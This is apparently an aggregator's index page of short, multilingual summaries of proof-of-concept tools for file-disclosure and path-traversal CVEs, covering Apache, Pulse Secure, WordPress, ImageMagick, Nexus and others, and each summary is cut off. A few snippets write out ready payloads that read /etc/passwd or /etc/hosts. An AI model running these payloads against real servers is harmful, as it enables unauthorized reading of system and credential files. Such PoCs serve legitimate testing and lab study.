Preproduce-CVE-2021-41773

Воспроизведение CVE 2021-41773 Уязвимость обхода пути и раскрытия файлов в Apache HTTP Server 2.4.49 CVE-2021-41773 POC root@kitploit: $ docker compose up Подтверждение работоспособности root@kitploit: $ curl -I http://localhost HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 13:25:18 GMT Server:...

CVE-2021-29447

CVE-2021-29447 POC для эксплуатации WordPress 5.6-5.7 PHP 8+ аутентифицированной XXE-инъекции. Подробнее об этой CVE здесь Пример Пример использования против машины MetaTwo с HackTheBox, на которой размещён веб-сайт WordPress с медиатекой, уязвимой к XXE-инъекции. root@kitploit: python lfi.py -u...

CVE-2021-41773-PoC

CVE-2021-41773 Уязвимость обхода пути и раскрытия файлов в Apache HTTP Server 2.4.49 Этот скрипт проверяет Apache HTTP Server 2.4.49 Использование: CVE-2021-41773.py параметры Только для одного IP-адреса: python CVE-2021-41773.py IPaddress Опция -f для списка IP-адресов в файле Пример: python...

cve-2021-42013-docker-lab

CVE-2021-42013 Введение Было обнаружено, что исправление для CVE-2021-41773 в Apache HTTP Server 2.4.50 оказалось недостаточным. Атакующий мог использовать атаку с обходом пути для сопоставления URL с файлами за пределами каталогов, настроенных директивами типа Alias. Если файлы за пределами этих...

cve-2021-41773-docker-lab

CVE-2021-41773 실습 랩 CVE-2021-41773을 플레이/학습하기 위한 컨테이너 실습 랩 파일 공개: root@kitploit: $ docker build -t apache-default defaultconf $ docker run -dit --name apache-app -p 81:80 apache-default PoC root@kitploit: curl -s --path-as-is "http://iptarget:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" 출력 참고:...

Config-Exploiter

Config-Exploiter Config-Exploiter : extraire le fichier config.php des sites Joomla et Wordpress Programmé par Belahsan Ouerghi . Installation root@kitploit: sudo apt-get install git git clone https://github.com/TunisianEagles/Config-Exploiter.git cd Config-Exploiter chmod +x install.sh sudo...

CVE-2017-10617

CVE-2017-10616 & CVE-2017-10617 이 두 취약점은 Juniper Contrail 버전 2.2, 3.0, 3.1 및 3.2에 영향을 미칩니다: 하드코딩된 자격 증명 CVE-2017-10616 XML 외부 엔티티 CVE-2017-10617 공급업체 보안 게시판은 Juniper Security Alert JSA10819 2017-10에서 확인할 수 있습니다. Contrail 제품에서 취약한 서비스는 irond에서 패키징된 IFMAP 데몬입니다. 간단히 하기 위해 irond를 계속 사용하여 XXE 취약점을 악용...

PoC

CVE-2018-19788을 활용해 루트 셸 없이 보호된 파일 덤프하기 CVE-2018-19788은 UID가 INTMAX즉 4000000000를 초과하는 모든 사용자가 Ubuntu 같은 systemd 리눅스 박스에서 모든 systemctl 명령을 실행할 수 있는 문제입니다. 루트 셸을 획득하는 방법에 대한 기존 분석은 여기에 이미 있습니다. 이 분석과 전체 루트 셸 분석의 주요 차이점은 루트 사용자가 아닌 사용자 자신으로 실행된다는 점입니다솔직히 말하면 그냥 PoC입니다. 루트 셸을 실행하지 않고 /etc/shadow 가져오기...

CVE-2019-11510_poc

CVE-2019-11510 PoC Python-скрипт для эксплуатации CVE-2019-11510 и чтения файла '/etc/passwd' Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - уязвимость произвольного раскрытия файлов root@kitploit: USAGE: python3 CVE-2019-11510.py...

CVE-2024-4956-PoC

title="Nexus Repository Manager" GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 Windows NT 5.1; rv:21.0 Gecko/20100101 Firefox/21.0Connection: closeAccept: /Accept-Language: enAccept-Encoding: gzip...

CVE-2022-2414-Proof-Of-Concept

CVE-2022-2414-Proof-Of-Concept pki-core에서 결함이 발견되었습니다. XML 문서를 파싱할 때 외부 엔터티에 접근하면 XML 외부 엔터티XXE 공격으로 이어질 수 있습니다. 이 결함으로 인해 원격 공격자는 특수하게 조작된 HTTP 요청을 전송하여 임의 파일의 내용을 검색할 수 있습니다. 참조: https://nvd.nist.gov/vuln/detail/CVE-2022-2414 https://access.redhat.com/security/cve/CVE-2022-2414...

CVE-2022-44268

CVE-2022-44268 🧙‍♂️ CVE-2022-44268 ImageMagick 임의 파일 읽기 - 개념 증명 익스플로잇 비디오 📼 https://youtu.be/quKxwNAMBIA 사용법 🛠 이미지 오염 ☣️ root@kitploit: python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png root@kitploit: Upload poisoned PNG image. 익스플로잇 성공 여부 확인 🗡...

apache_normalize_path

CVE-2021-41773|CVE-2021-42013: Apache HTTP 서버에서 악용된 경로 탐색 제로데이 10월 5일, Apache HTTP Server 프로젝트는 CVE-2021-41773을 패치했습니다. 이는 가장 널리 사용되는 웹 서버 중 하나인 Unix 및 Windows용 오픈소스 웹 서버인 Apache HTTP Server의 경로 탐색 및 파일 노출 취약점입니다. 보안 권고에 따르면, CVE-2021-41773은 제로데이로 실제 환경에서 악용되었습니다. 이 취약점은 Ash Daulton과 cPanel 보안 팀에...

CVE-2020-10560

CVE-2020-10560 CVE-2020-10560 OSSN Произвольное чтение файлов Подробности об использовании этого репозитория смотрите на https://techanarchy.net/blog/cve-2020-10560-ossn-arbitrary-file-read Запуск docker-compose up --build Установка После запуска образов вы можете получить доступ к странице...

CVE-2006-2842

Бейджи Лицензия MIT Установка Установите cve-2006-2842 с помощью npm root@kitploit: npm install cve-2006-2842 -g Использование Пример для одного URL root@kitploit: cve-2006-2842 -u http://example.com Использование Пример для списка URL root@kitploit: cve-2006-2842 -l urls.txt -o out.txt Скриншоты...

CVE-2024-24919-POC

CVE-2024-24919-POC Читайте об этом - https://nvd.nist.gov/vuln/detail/CVE-2024-24919 Уязвимость позволяет неаутентифицированному удаленному злоумышленнику читать содержимое произвольного файла, расположенного на затронутом устройстве. Шаблон Nuclei:...

exploit-CVE-2019-14530

Эксплойт для OpenEMR CVE-2019-14530 OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the file to be read Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...

CVE-2019-11510-poc

CVE-2019-11510-poc Pulse Secure SSL VPN 認証前ファイル読み取り 参照 1. https://hackerone.com/reports/591295 2. https://github.com/projectzeroindia/CVE-2019-11510/blob/master/CVE-2019-11510.sh 3. https://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.ht...

CVE-2021-41773

CVE-2021-41773 Уязвимость обхода пути и раскрытия файлов в Apache HTTP Server 2.4.49 CVE-2021-41773 Информация Ошибка была обнаружена в изменении, внесённом в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник может использовать атаку обхода пути, чтобы сопоставить URL с файлами за...

CVE-2022-36537

CVE-2022-36537 摘要 R1Soft Server Backup Manager 使用 ZK 框架作为主要框架。其安全性要求所有 Web3 项目方更加关注各种 Web3 基础设施的安全漏洞，并及时修补，以避免潜在的安全风险和数字资产损失。我们将及时挖掘、追踪 web3 上的各种安全风险，并提供领先的安全解决方案，确保 web3 世界链上和链下的安全无忧。 前言 ZK 是构建企业级 Web 应用程序的领先开源 Java Web 框架。ZK 拥有超过 2,000,000 次下载，为从小型企业到《财富》全球 500 强的多种行业中的各种公司和机构提供支持。 R1Soft Serve...